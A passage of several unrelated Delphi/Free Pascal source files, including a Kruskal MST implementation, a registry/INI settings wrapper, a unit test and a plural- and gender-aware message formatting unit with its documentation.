SelectBtn.Enabled:=True;
end;
end;
procedure TFZSpr_Viplat.ButtonsUpdate(Sender: TObject);
begin
if DataSet.VisibleRecordCount=0 then
begin
UpdateBtn.Enabled := False;
DeleteBtn.Enabled := False;
SelectBtn.Enabled := False;
end;
end;
procedure TFZSpr_Viplat.GridDblClick(Sender: TObject);
begin
if (SelectBtn.Enabled) and (SelectBtn.Visible=ivAlways) then SelectBtnClick(Sender);
end;
end.
|
unit DSA.Graph.KruskalMST;
{$mode objfpc}{$H+}
interface
uses
Classes,
SysUtils,
DSA.Interfaces.DataStructure,
DSA.Interfaces.Comparer,
DSA.Tree.PriorityQueue,
DSA.Tree.UnionFind6,
DSA.List_Stack_Queue.ArrayList,
DSA.Graph.Edge;
type
generic TKruskalMST<T> = class
private
type
TArr_bool = specialize TArray<boolean>;
TEdge_T = specialize TEdge<T>;
TPriorityQueue = specialize TPriorityQueue<TEdge_T, TEdge_T.TEdgeComparer>;
TList_Edge = specialize TArrayList<TEdge_T>;
TArrEdge = specialize TArray<TEdge_T>;
TWeightGraph_T = specialize TWeightGraph<T>;
var
__pq: TPriorityQueue; // 最小堆, 算法辅助数据结构
__mstList: TList_Edge; // 最小生成树所包含的所有边
__mstWeight: T; // 最小生成树的权值
public
constructor Create(g: TWeightGraph_T);
destructor Destroy; override;
/// <summary> 返回最小生成树的所有边 </summary>
function MstEdges: TArrEdge;
/// <summary> 返回最小生成树的权值 </summary>
function Weight: T;
end;
procedure Main;
implementation
uses
DSA.Graph.DenseWeightedGraph,
DSA.Graph.SparseWeightedGraph,
DSA.Utils;
type
TDenseWeightedGraph_dbl = specialize TDenseWeightedGraph<double>;
TSparseWeightedGraph_dbl = specialize TSparseWeightedGraph<double>;
TWeightGraph_dbl = specialize TWeightGraph<double>;
TReadGraphWeight_dbl = specialize TReadGraphWeight<double>;
TKruskalMST_dbl = specialize TKruskalMST<double>;
procedure Main;
var
fileName: string;
v, i: integer;
g: TWeightGraph_dbl;
lazyPrimMst: TKruskalMST_dbl;
mst: TKruskalMST_dbl.TArrEdge;
begin
fileName := WEIGHT_GRAPH_FILE_NAME_1;
v := 8;
begin
g := TDenseWeightedGraph_dbl.Create(v, False);
TReadGraphWeight_dbl.Execute(g, FILE_PATH + fileName);
// Test Lazy Prim MST
WriteLn('Test Kruskal MST:');
lazyPrimMst := TKruskalMST_dbl.Create(g);
mst := lazyPrimMst.MstEdges;
for i := 0 to High(mst) do
WriteLn(mst[i].ToString);
WriteLn('The Dense Graph MST weight is: ', lazyPrimMst.Weight.ToString);
end;
TDSAUtils.DrawLine;
begin
g := TSparseWeightedGraph_dbl.Create(v, False);
TReadGraphWeight_dbl.Execute(g, FILE_PATH + fileName);
// Test Lazy Prim MST
WriteLn('Test Kruskal MST:');
LazyPrimMST := TKruskalMST_dbl.Create(g);
mst := LazyPrimMST.MstEdges;
for i := 0 to high(mst) do
WriteLn(mst[i].ToString);
WriteLn('The Sparse Graph MST weight is: ', LazyPrimMST.Weight.ToString);
end;
end;
{ TKruskalMST }
constructor TKruskalMST.Create(g: TWeightGraph_T);
var
v, i: integer;
e: TEdge_T;
uf: TUnionFind6;
begin
__mstList := TList_Edge.Create;
__pq := TPriorityQueue.Create(TQueueKind.Min);
// 将图中的所有边存放到一个最小优先队列中
for v := 0 to g.Vertex - 1 do
begin
for e in g.AdjIterator(v) do
begin
if e.VertexA < e.VertexB then
__pq.EnQueue(e);
end;
end;
// 创建一个并查集, 来查看已经访问的节点的联通情况
uf := TUnionFind6.Create(g.Vertex);
while not __pq.IsEmpty do
begin
// 从最小堆中依次从小到大取出所有的边
e := __pq.DeQueue;
// 如果该边的两个端点是联通的, 说明加入这条边将产生环, 扔掉这条边
if uf.IsConnected(e.VertexA, e.VertexB) then
Continue;
// 否则, 将这条边添加进最小生成树, 同时标记边的两个端点联通
__mstList.AddLast(e);
uf.UnionElements(e.VertexA, e.VertexB);
end;
// 计算最小生成树的权值
__mstWeight := Default(T);
for i := 0 to __mstList.GetSize - 1 do
begin
__mstWeight += __mstList[i].Weight;
end;
end;
destructor TKruskalMST.Destroy;
begin
FreeAndNil(__pq);
FreeAndNil(__mstList);
inherited Destroy;
end;
function TKruskalMST.MstEdges: TArrEdge;
begin
Result := __mstList.ToArray;
end;
function TKruskalMST.Weight: T;
begin
Result := __mstWeight;
end;
end.
|
unit PlayerInputThread;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, ThreadQueue, Pipes;
type
{ TPlayerInputThread }
TPlayerInputThread = class(TThread)
private
FInputStream: TOutputPipeStream;
FQueue: TThreadQueue; // // queue of eoln-terminated pstrings
protected
procedure Execute; override; // try the best to write to FInputStream
public
function CanWriteLn: Boolean;
procedure WriteLn(S: AnsiString);
constructor Create(AInputStream: TOutputPipeStream);
destructor Destroy; override;
end;
implementation
{ TPlayerInputThread }
procedure TPlayerInputThread.Execute;
var
Item: PString;
begin
repeat
if FQueue.Count > 0 then
begin
Item := PString(FQueue.Front); FQueue.Pop;
FInputStream.Write(Item^[1], Length(Item^));
DisposeStr(Item);
end
else
Sleep(20);
until Terminated;
end;
function TPlayerInputThread.CanWriteLn: Boolean;
begin
Result := Assigned(Self);
end;
procedure TPlayerInputThread.WriteLn(S: AnsiString);
begin
FQueue.Push(NewStr(S+LineEnding));
end;
constructor TPlayerInputThread.Create(AInputStream: TOutputPipeStream);
begin
inherited Create(False);
FQueue := TThreadQueue.Create;
FInputStream := AInputStream;
FreeOnTerminate := False;
end;
destructor TPlayerInputThread.Destroy;
begin
FreeAndNil(FQueue);
inherited Destroy;
end;
end.
|
unit DPM.Core.Tests.Types;
interface
uses
DPM.Core.Types,
DUnitX.TestFramework;
type
{$M+}
[TestFixture]
TCoreTypesTests = class
public
// [SetupFixture]
// procedure FixtureSetup;
//
// [TearDownFixture]
// procedure FixtureTearDown;
[Test]
[TestCase('XE2', 'XE2')]
[TestCase('XE3', 'XE3')]
[TestCase('XE4', 'XE4')]
[TestCase('XE5', 'XE5')]
[TestCase('XE6', 'XE6')]
[TestCase('XE7', 'XE7')]
[TestCase('XE8', 'XE8')]
[TestCase('10.0', '10.0')]
[TestCase('10.1', '10.1')]
[TestCase('10.2', '10.2')]
[TestCase('10.3', '10.3')]
[TestCase('10.4', '10.4')]
procedure TestStringToCompiler(const value :string);
end;
implementation
{ TCoreTypesTests }
procedure TCoreTypesTests.TestStringToCompiler(const value :string);
var
compilerVersion :TCompilerVersion;
begin
compilerVersion := StringToCompilerVersion(value);
Assert.AreEqual(value, CompilerToString(compilerVersion));
end;
initialization
TDUnitX.RegisterTestFixture(TCoreTypesTests);
end.
|
unit UnitINI;
interface
uses
System.SyncObjs,
System.Classes,
System.SysUtils,
System.Win.Registry,
System.IniFiles,
Winapi.Windows,
Dmitry.CRC32,
uLogger,
uConstants,
uMemory,
uRuntime;
type
TMyRegistryINIFile = class(TIniFile)
public
Key: string;
end;
type
TBDRegistry = class(TObject)
private
Registry: TObject;
FReadOnly: Boolean;
FKey: string;
FSection: Integer;
public
constructor Create(ASection: Integer; ReadOnly: Boolean = False);
destructor Destroy; override;
function OpenKey(Key: string; CreateInNotExists: Boolean): Boolean;
function ReadString(name: string; Default: string = ''): string;
function ReadInteger(name: string; Default: Integer = 0): Integer;
function ReadDateTime(name: string; Default: TDateTime = 0): TDateTime;
function ReadBool(name: string; Default: Boolean = False): Boolean;
procedure CloseKey;
procedure GetKeyNames(Strings: TStrings);
procedure GetValueNames(Strings: TStrings);
function ValueExists(name: string): Boolean;
function KeyExists(Key: string): Boolean;
function DeleteKey(Key: string): Boolean;
function DeleteValue(name: string): Boolean;
procedure WriteString(name: string; Value: string);
procedure WriteBool(name: string; Value: Boolean);
procedure WriteDateTime(name: string; Value: TDateTime);
procedure WriteInteger(name: string; Value: Integer);
property Key: string read FKey;
property Section: Integer read FSection;
property IsReadOnly: Boolean read FReadOnly;
end;
TDBRegistryCache = class(TObject)
private
FList : TList;
FSync: TCriticalSection;
public
constructor Create;
procedure Clear;
destructor Destroy; override;
function GetSection(ASection: Integer; AKey: string; ReadOnly: Boolean) : TBDRegistry;
end;
const
REGISTRY_ALL_USERS = 0;
REGISTRY_CURRENT_USER = 1;
REGISTRY_CLASSES = 2;
function GetRegRootKey: string;
function GetCollectionRootKey(CollectionFile: string): string;
implementation
function GetRegRootKey: string;
begin
Result := RegRoot + cUserData;
end;
function GetCollectionRootKey(CollectionFile: string): string;
var
DBPrefix: string;
begin
DBPrefix := ExtractFileName(CollectionFile) + '.' + IntToHex(StringCRC(CollectionFile), 8);
Result := GetRegRootKey + 'Collections\' + DBPrefix;
end;
function GetRegIniFileName: string;
begin
Result := ExtractFileDir(ParamStr(0)) + 'Registry.ini';
end;
{ TBDRegistry }
procedure TBDRegistry.CloseKey;
begin
if Registry is TRegistry then (Registry as TRegistry).CloseKey;
end;
constructor TBDRegistry.Create(ASection: Integer; ReadOnly: Boolean = False);
begin
inherited Create;
FSection := ASection;
FKey := '';
FReadOnly := ReadOnly;
if PortableWork then
begin
Registry := TMyRegistryINIFile.Create(GetRegIniFileName);
end else
begin
if Readonly then
Registry := TRegistry.Create(KEY_READ)
else
Registry := TRegistry.Create(KEY_ALL_ACCESS);
if ASection = REGISTRY_ALL_USERS then
(Registry as TRegistry).RootKey := HKEY_INSTALL;
if ASection = REGISTRY_CLASSES then
(Registry as TRegistry).RootKey := HKEY_CLASSES_ROOT;
if ASection = REGISTRY_CURRENT_USER then
(Registry as TRegistry).RootKey := HKEY_USER_WORK;
end;
end;
function TBDRegistry.DeleteKey(Key: String): boolean;
begin
Result := False;
if Registry is TRegistry then
Result := (Registry as TRegistry).DeleteKey(Key);
if Registry is TMyRegistryINIFile then
begin
(Registry as TMyRegistryINIFile).EraseSection(Key);
Result := True;
end;
end;
function TBDRegistry.DeleteValue(Name: string): Boolean;
var
Key: string;
begin
Result := False;
if Registry is TRegistry then
Result := (Registry as TRegistry).DeleteKey(name);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
(Registry as TMyRegistryINIFile).DeleteKey(Key, name);
Result := True;
end;
end;
destructor TBDRegistry.Destroy;
begin
F(Registry);
inherited Destroy;
end;
procedure TBDRegistry.GetKeyNames(Strings: TStrings);
var
Key, S: string;
TempStrings: TStrings;
I: Integer;
begin
try
if Registry is TRegistry then
(Registry as TRegistry).GetKeyNames(Strings);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
TempStrings := TStringList.Create;
try
(Registry as TMyRegistryINIFile).ReadSections(TempStrings);
for I := 0 to TempStrings.Count - 1 do
begin
if AnsiLowerCase(Copy(TempStrings[I], 1, Length(Key))) = AnsiLowerCase(Key) then
begin
S := TempStrings[I];
Delete(S, 1, Length(Key) + 1);
Strings.Add(S)
end;
end;
finally
F(TempStrings);
end;
end;
except
on E: Exception do
EventLog(':TBDRegistry::GetKeyNames() throw exception: ' + E.message);
end;
end;
procedure TBDRegistry.GetValueNames(Strings: TStrings);
var
Key: string;
begin
try
if Registry is TRegistry then
(Registry as TRegistry).GetValueNames(Strings);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
(Registry as TMyRegistryINIFile).ReadSectionValues(Key, Strings);
end;
except
on E: Exception do
EventLog(':TBDRegistry::GetValueNames() throw exception: ' + E.message);
end;
end;
function TBDRegistry.KeyExists(Key: string): Boolean;
begin
Result := False;
if Registry is TRegistry then
Result := (Registry as TRegistry).KeyExists(Key);
if Registry is TMyRegistryINIFile then
begin
Result := (Registry as TMyRegistryINIFile).SectionExists(Key);
end;
end;
function TBDRegistry.OpenKey(Key: String; CreateInNotExists: Boolean) : boolean;
begin
FKey := Key;
Result := False;
if Registry is TRegistry then
Result := (Registry as TRegistry).OpenKey(Key, not FReadOnly and CreateInNotExists);
if Registry is TMyRegistryINIFile then
begin
(Registry as TMyRegistryINIFile).Key := Key;
Result:=true;
end;
end;
function TBDRegistry.ReadBool(Name: string; Default: Boolean): Boolean;
var
Key: string;
begin
Result := Default;
try
if Registry is TRegistry then
Result := (Registry as TRegistry).ReadBool(name);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
Result := (Registry as TMyRegistryINIFile).ReadBool(Key, name, default);
end;
except
on E: Exception do
EventLog(':TBDRegistry::ReadBool() throw exception: ' + E.message);
end;
end;
function TBDRegistry.ReadDateTime(Name: string; Default: TDateTime): TDateTime;
var
Key: string;
begin
Result := Default;
try
if Registry is TRegistry then
if (Registry as TRegistry).ValueExists(Name) then
Result := (Registry as TRegistry).ReadDateTime(Name);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
Result := (Registry as TMyRegistryINIFile).ReadDateTime(Key, name, default);
end;
except
on E: Exception do
EventLog(':TBDRegistry::ReadDateTime() throw exception: ' + E.message);
end;
end;
function TBDRegistry.ReadInteger(Name: string; Default: Integer): Integer;
var
Key: string;
begin
Result := Default;
try
if Registry is TRegistry then
Result := (Registry as TRegistry).ReadInteger(name);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
Result := (Registry as TMyRegistryINIFile).ReadInteger(Key, name, default);
end;
except
on E: Exception do
EventLog(':TBDRegistry::ReadInteger() throw exception: ' + E.message);
end;
end;
function TBDRegistry.ReadString(Name, Default: string): string;
var
Key: string;
begin
Result := Default;
try
if Registry is TRegistry then
Result := (Registry as TRegistry).ReadString(name);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
Result := (Registry as TMyRegistryINIFile).ReadString(Key, name, default);
end;
except
on E: Exception do
EventLog(':TBDRegistry::ReadString() throw exception: ' + E.message);
end;
end;
function TBDRegistry.ValueExists(Name: string): Boolean;
var
Key: string;
begin
Result := False;
if Registry is TRegistry then
Result := (Registry as TRegistry).ValueExists(name);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
Result := (Registry as TMyRegistryINIFile).ValueExists(Key, name);
end;
end;
procedure TBDRegistry.WriteBool(Name: string; Value: Boolean);
var
Key: string;
begin
if Registry is TRegistry then
(Registry as TRegistry).WriteBool(name, Value);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
(Registry as TMyRegistryINIFile).WriteBool(Key, name, Value);
end;
end;
procedure TBDRegistry.WriteDateTime(Name: string; Value: TDateTime);
var
Key: string;
begin
if Registry is TRegistry then
(Registry as TRegistry).WriteDateTime(name, Value);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
(Registry as TMyRegistryINIFile).WriteDateTime(Key, name, Value);
end;
end;
procedure TBDRegistry.WriteInteger(Name: string; Value: Integer);
var
Key: string;
begin
if Registry is TRegistry then
(Registry as TRegistry).WriteInteger(name, Value);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
(Registry as TMyRegistryINIFile).WriteInteger(Key, name, Value);
end;
end;
procedure TBDRegistry.WriteString(Name, Value: string);
var
Key: string;
begin
if Registry is TRegistry then
(Registry as TRegistry).WriteString(name, Value);
if Registry is TMyRegistryINIFile then
begin
Key := (Registry as TMyRegistryINIFile).Key;
(Registry as TMyRegistryINIFile).WriteString(Key, name, Value);
end;
end;
{ TDBRegistryCache }
procedure TDBRegistryCache.Clear;
var
I: Integer;
begin
FSync.Enter;
try
for I := 0 to FList.Count - 1 do
TObject(FList[I]).Free;
FList.Clear;
finally
FSync.Leave;
end;
end;
constructor TDBRegistryCache.Create;
begin
FList := TList.Create;
FSync := TCriticalSection.Create;
end;
destructor TDBRegistryCache.Destroy;
begin
F(FSync);
FreeList(FList);
inherited;
end;
function TDBRegistryCache.GetSection(ASection: Integer; AKey: string; ReadOnly: Boolean): TBDRegistry;
var
I: Integer;
Reg: TBDRegistry;
begin
FSync.Enter;
try
for I := 0 to FList.Count - 1 do
begin
Reg := FList[I];
if (Reg.Key = AKey) and (Reg.Section = ASection) and (Reg.IsReadOnly = ReadOnly) then
begin
Result := FList[I];
Exit;
end;
end;
Result := TBDRegistry.Create(ASection, ReadOnly);
Result.OpenKey(AKey, True);
FList.Add(Result);
finally
FSync.Leave;
end;
end;
end.
|
(*
@abstract Implements a multi pattern enabled Format function @link(TMultiPattern.Format) that supports plurals, genders and selects.
Most languages have a singular and plural forms. However this is not case
with every language. Asian languages do not have plural form at all. They only
have singular form. Most Slavic languages have three forms: singular, plural
and one between them (dual or paucal). Sometimes 0 is handled as plural,
sometimes as singular. Some languages have four different forms. Arabic has
six different forms.
This is why you can not use the standard Format if you want to create
grammatically correct dynamic messages that contain counts and genders. Instead you can
use @link(TMultiPattern.Format) function. It works little bit like GetText's ngettext
funtion. You pass combined pattern and count, gender or select parameter(s). The functions
calculates what pattern to use based on the passed parameters and
returns that pattern.
In English and most Western languages this is very simple. There are only
two items in the combined pattern: singular and plural. If count is 1 then
the singualar pattern is used. If the count is other than 1 then the plural
pattern is used.
If you have something like this
@code(str := Format('%d files', [fileCount]);)
and you want to localize it convert code to
@longCode(#
resourcestring
SFileCountPlural = '{plural, one {%d file} other {%d files}}';
...
str := TMultiPattern.Format(SFileCountPlural, fileCount);
#)
As you can see instead of single pattern the markup contains two parts:
singular and plural. Add a plural form code in the begining of each part.
Plural form codes are:
zero is for nullar.
one is for singular.
two is for dual.
few is for trial, paucal, sexal, minority plural and plural-100
many is for large plural
other is for plural
Other part should be on every pattern. If the language requires more forms add them too.
In addition you can add zero, one or two parts to any string. For example following
are valid for English:
"{, plural one {One file} other {%d files}}"
"{, plural zero;No files} one {One file} other {%d files}}"
"{, plural zero;No files} one {One file} two {Two files} other {%d files}}"
If you pattern contains { or } characters you must escape them with \. Also \ must be escaped.
'Item {example\two} %d car(s)' -> '{cars, plural, one {Item \{example\\two\} %d car} other {Item \{example\\two\} %d cars}}'
In addition you can use operators: [o]N where o is the operator and N is the operamd (i.e. count).
Possible operators are:
= Used if the count equals the operand
~ Used if the count a about the same as operand. The dela is specified by OperatorDelta.
< Used if the count is less than the operand
> Used if the count is greater than the operand
<= Used if the count is less or equal to the operand
>= Used if the count is equal or greater than the operand
a..b Used if the count is between a and b
If no operator is given but just number then equal operatori is assumed. "1" is same as "=1".
For example following
"{, plural, 0 {No files} =1 {One file} other {%d files}}"
Most languages also use genders. There might be male, female and neutral genders.
Gender codes are:
male is for male
female is for female
other is for neutral or other
Plural and gender engines need to know the language that the application uses.
Compiled application file does not contain this information. This is why you
should create a resource string that contains the locale id and set that value
to @link(NtBase.DefaultLocale). A good place to set @link(NtBase.DefaultLocale)
is the initialization block of the main unit.
@longCode(#
unit Unit1;
...
resourcestring
SNtLocale = 'en';
initialization
DefaultLocale := SNtLocale;
end.
#)
Grammatical number rules have been extracted from CLDR to Delphi code that
exists in @link(NtPluralData).
If you name the resource string as @bold(SNtLocale) Soluling automatically translates
it to hold the locale code of the target language. So German column will have "de" and
French colum will have "fr".
@italic(See Samples\Delphi\VCL\Patterns) or @italic(Samples\Delphi\FMX\Patterns)
samples to see how to use the unit.
*)
unit NtPattern;
{$I NtVer.inc}
interface
uses
{$IFDEF AUTOREFCOUNT}
System.Generics.Collections,
{$ENDIF}
Classes;
const
OTHER_C = 'other';
type
{ @abstract Enumeration that specifies the plural form.
There are six different plural forms from singular to various plurals.
How many forms a language uses depends on the language. Most languages use only singular and plural. }
TPlural =
(
pfZero, //< Nullar. Used when count is zero. Few languages support this but you can include a =0 pattern into your pattern string if you want to handle 0 in a different way.
pfOne, //< Singular. Used when count is one. Most languages support this.
pfTwo, //< Dual. Used when count is two. Few languages support this.
pfFew, //< Trial, paucal, sexal, minority plural or plural-100. Used when count is few. Few languages support this. The range depends on the language. Most often this is something between 2 and 4.
pfMany, //< Greater paucal. Used when count is many. Few languages support this. The range depends on the language. Most often this is more than 4.
pfOther //< Plural or universal. Used when count does not belong to any other group. All languages support this. Most often this is the plural form.
);
{ @abstract Set that contains plural forms. }
TPlurals = set of TPlural;
{ @abstract Enumeration that specifies the different gender values.
There are three different genders: neutral, male and female.
How many values a language uses depends on the language. }
TGender =
(
geMale, //< Male.
geFemale, //< Female.
geNeutral //< Neutral, other or no gender used.
);
{ @abstract Set that contains gender values. }
TGenders = set of TGender;
{ @abstract Enumeration that specifies the operator. }
TOperatorKind =
(
okEqual, //< Equal (e.g. =1).
okAround, //< Around (e.g. ~1).
okLess, //< Less than (e.g. <1).
okLessOrEqual, //< Less or equal than (e.g. <=1).
okGreater, //< Greater than (e.g. >1).
okGreaterOrEqual, //< Greater or equal than (e.g. >=1).
okRange //< Range (e.g 3..5).
);
{ @abstract Represents the method that will get the plural form matching the given number.
@param n Absolute value of the source number (integer and decimals) (e.g. 9.870 => 9.87)
@param i Integer digits of n (e.g. 9.870 => 9)
@param v Number of visible fraction digits in n, with trailing zeros (e.g. 9.870 => 3)
@param w Number of visible fraction digits in n, without trailing zeros (e.g. 9.870 => 2)
@param f Visible fractional digits in n, with trailing zeros (e.g. 9.870 => 870)
@param t Visible fractional digits in n, without trailing zeros (e.g. 9.870 => 87)
@return The plural fomr that the passed number uses. }
TPluralProc = function(n: Double; i: Integer; v: Integer; w: Integer; f: Integer; t: Integer): TPlural;
{ @abstract Class that contain one pattern. }
TPattern = class(TObject)
private
FValue: String;
public
{$IFNDEF DELPHI2009}
function ToString: String; virtual; abstract;
function Equals(obj: TObject): Boolean; virtual; abstract;
{$ENDIF}
property Value: String read FValue write FValue;
end;
{ @abstract Base class for plural patterns. }
TNumberPattern = class(TPattern)
end;
{ @abstract Class that contain one plural pattern. }
TPluralPattern = class(TNumberPattern)
private
FPlural: TPlural;
public
constructor Create;
function Equals(obj: TObject): Boolean; override;
function ToString: String; override;
property Plural: TPlural read FPlural write FPlural; //< Plural value of the pattern.
end;
{ @abstract Class that contain one operator pattern. }
TOperatorPattern = class(TNumberPattern)
private
FKind: TOperatorKind;
FOperand: Integer;
FOperand2: Integer;
public
constructor Create;
function Equals(obj: TObject): Boolean; override;
function ToString: String; override;
property Kind: TOperatorKind read FKind write FKind; //< Operator kind of the pattern.
property Operand: Integer read FOperand write FOperand; //< Operand value.
property Operand2: Integer read FOperand2 write FOperand2; //< Second operand value.
end;
{ @abstract Class that contain one gender pattern. }
TGenderPattern = class(TPattern)
private
FGender: TGender;
public
constructor Create;
function Equals(obj: TObject): Boolean; override;
function ToString: String; override;
property Gender: TGender read FGender write FGender; //< Gender value of the pattern.
end;
{ @abstract Class that contain one select pattern. }
TSelectPattern = class(TPattern)
private
FSelect: String;
public
constructor Create;
function Equals(obj: TObject): Boolean; override;
function ToString: String; override;
property Select: String read FSelect write FSelect; //< Select value of the pattern.
end;
{ @abstract Enumeration that specifies the different parameter types for TMultiPattern.FormatMulti. }
TFormatParameterKind =
(
fpPlural, //< Plural parameter (e.g. singular or plural)
fpOperator, //< Operator parameter (e.g. =1, ~1, >1, <1, >=1, <=1)
fpGender, //< Gender parameter (e.g. male or female)
fpSelect //< Select parameter. Select among multiple patterns by a name.
);
{ @abstract Set that contains format parameter types. }
TFormatParameterKinds = set of TFormatParameterKind;
{ @abstract Record that contains payload for one parameter for TMultiPattern.FormatMulti. }
TFormatParameter = record
case Kind: TFormatParameterKind of
fpPlural, fpOperator: ( Plural: Integer; );
fpGender: ( Gender: TGender; Value: PChar; );
fpSelect: ( Select: PChar; );
end;
{ @abstract Enumeration that specifies the plural usages. }
TPluralUsage =
(
puInteger, //< Get rules that are used with interger numbers.
puDecimal //< Get rules that are used with decimal or floating point numbers.
);
{ @abstract Set that contains plural usages. }
TPluralUsages = set of TPluralUsage;
TFormatPart = class;
TFormatPartEnumerator = class(TObject)
private
FFormatPart: TFormatPart;
FIndex: Integer;
public
constructor Create(formatPart: TFormatPart);
function GetCurrent: TPattern;
function MoveNext: Boolean;
property Current: TPattern read GetCurrent;
end;
{ @abstract Class that contains one part of a plural and gender enabed format string. }
TFormatPart = class(TObject)
private
{$IFDEF AUTOREFCOUNT}
FItems: TList<TPattern>;
{$ELSE}
FItems: TList;
{$ENDIF}
FName: String;
FParameterType: String;
FParent: TFormatPart;
FUsedKind: TFormatParameterKind;
FUsedPlural: TPlural;
FUsedOperator: TOperatorKind;
FUsedOperand: Integer;
FUsedOperand2: Integer;
FUsedGender: TGender;
FUsedSelect: String;
function GetKind: TFormatParameterKind;
function GetCount: Integer;
function GetFirstValue: String;
function GetOtherValue: String;
function GetItem(i: Integer): TPattern;
function GetDefaultValue: String;
function GetDefaultGender: TGender;
function GetDefaultSelect: String;
function GetPluralValue(plural: TPlural): String;
function GetMatchingValue(value: Integer): String;
function GetOperatorValue(kind: TOperatorKind; operand, operand2: Integer): String;
function GetEqualOperatorValue(operand: Integer): String;
function GetGenderValue(gender: TGender): String;
function GetSelectValue(const select: String): String;
procedure SetPluralValue(plural: TPlural; const value: String);
procedure SetOperatorValue(kind: TOperatorKind; operand, operand2: Integer; const value: String);
procedure SetEqualOperatorValue(operand: Integer; const value: String);
procedure SetGenderValue(gender: TGender; const value: String);
procedure SetSelectValue(const select: String; const value: String);
public
constructor Create;
destructor Destroy; override;
function GetEnumerator: TFormatPartEnumerator;
procedure Clear;
procedure Delete(index: Integer);
function Find(pattern: TPattern): TPattern; overload;
function FindAny(pattern: TPattern): TPattern;
function FindOther: TPattern;
function Find(gender: TGender): TGenderPattern; overload;
function Exists(gender: TGender): Boolean; overload;
function Add(const value: String; gender: TGender): TGenderPattern; overload;
function FindGender: TGenderPattern;
function Find(const select: String): TSelectPattern; overload;
function Exists(const select: String): Boolean; overload;
function Add(const value: String; const select: String): TSelectPattern; overload;
function Insert(index: Integer; const value: String; const select: String): TSelectPattern; overload;
function Find(plural: TPlural): TPluralPattern; overload;
function Exists(plural: TPlural): Boolean; overload;
function Add(const value: String; plural: TPlural): TPluralPattern; overload;
function Find(kind: TOperatorKind; operand, operand2: Integer): TOperatorPattern; overload;
function Exists(kind: TOperatorKind; operand, operand2: Integer): Boolean; overload;
function Add(const value: String; kind: TOperatorKind; operand: Integer; operand2: Integer = 0): TOperatorPattern; overload;
function FindOperator(value: Integer): TOperatorPattern;
function FindMatching(value: Integer): TPluralPattern;
function ExistsMatching(value: Integer; var plural: TPlural): Boolean;
{ @abstract. Check if the part is a number part such as plural or operator.
@return True if the part is a number part. }
function IsNumber: Boolean;
{ @abstract. Check if the part is a gender part.
@return True if the part is a gender part. }
function IsGender: Boolean;
{ @abstract. Check if the part is a select part.
@return True if the part is a select part. }
function IsSelect: Boolean;
function GetPluralPattern(plural: TPlural; count: Cardinal): String;
function GetGenderPattern(gender: TGender): String;
property Kind: TFormatParameterKind read GetKind; //< Parameter kind-
property Count: Integer read GetCount; //< Pattern count.
property FirstValue: String read GetFirstValue; //< Gets the first pattern.
property OtherValue: String read GetOtherValue; //< Gets the pattern for other plural form.
property Items[i: Integer]: TPattern read GetItem; default; //< Array of patterns.
property Name: String read FName write FName; //< The name of the part.
property DefaultGender: TGender read GetDefaultGender; //< The default gender.
property DefaultSelect: String read GetDefaultSelect; //< The default select.
property ParameterType: String read FParameterType write FParameterType; //< The type of the parameter type.
property OperatorValues[kind: TOperatorKind; operand, operand2: Integer]: String read GetOperatorValue write SetOperatorValue; //< Operator patterns.
property EqualOperatorValues[operand: Integer]: String read GetEqualOperatorValue write SetEqualOperatorValue; //< Equal operator patterns.
property PluralValues[plural: TPlural]: String read GetPluralValue write SetPluralValue; //< Plural patterns.
property MatchingValues[plural: Integer]: String read GetMatchingValue; //< Matching patterns.
property GenderValues[gender: TGender]: String read GetGenderValue write SetGenderValue; //< Gender patterns.
property SelectValues[const select: String]: String read GetSelectValue write SetSelectValue; //< Select patterns.
property Parent: TFormatPart read FParent write FParent;
{ @abstract. The default pattern.
If this is a plural part then it is pattern for other. }
property DefaultValue: String read GetDefaultValue;
property UsedKind: TFormatParameterKind read FUsedKind;
property UsedPlural: TPlural read FUsedPlural;
property UsedOperator: TOperatorKind read FUsedOperator;
property UsedOperand: Integer read FUsedOperand;
property UsedOperand2: Integer read FUsedOperand2;
property UsedGender: TGender read FUsedGender;
property UsedSelect: String read FUsedSelect;
end;
TFormatString = class;
TFormatStringEnumerator = class(TObject)
private
FFormatString: TFormatString;
FIndex: Integer;
public
constructor Create(formatString: TFormatString);
function GetCurrent: TFormatPart;
function MoveNext: Boolean;
property Current: TFormatPart read GetCurrent;
end;
{ @abstract Enumeration that specifies the placeholder syntax. }
TPlaceholderKind =
(
pkPrintf, //< %0:d
pkDoubleBrace, //< {{0}}
pkSingleBrace, //< {0}
pkHashtag //< #
);
{ @abstract Enumeration that specifies how braces in ICU message are escaped. }
TIcuMessageEscape =
(
ieDefault, //< Single backslash is used a escape character. This is \\ \{sample's\} text -> This is \ {sample's} text
ieReact, //< Double backslash is used a escape character. TThis is \\\\ \\{sample's\\} text -> This is \ {sample's} text
ieOriginal //< Original ICU specification when single quote escaping is used. This is \ '{sample''s}' text -> This is \ {sample's} text
);
{ @abstract Enumeration that specifies the pattern format. }
TFormatStringSyntax =
(
fsIcu, //< ICU message format
fsLegacy //< Soluling's legacy format
);
{ @abstract Class that contains patterns of plural and/or gender enabled format string. }
TFormatString = class(TObject)
private
{$IFDEF AUTOREFCOUNT}
FItems: TList<TFormatPart>;
{$ELSE}
FItems: TList;
{$ENDIF}
FStartPattern: String;
FPlaceholderKind: TPlaceholderKind;
FEscape: TIcuMessageEscape;
FSyntax: TFormatStringSyntax;
function GetCount: Integer;
function GetItem(i: Integer): TFormatPart;
function GetText: String;
function GetOperatorValue(kind: TOperatorKind; operand, operand2: Integer): String;
function GetEqualOperatorValue(operand: Integer): String;
function GetPluralValue(value: TPlural): String;
function GetMatchingValue(value: Integer): String;
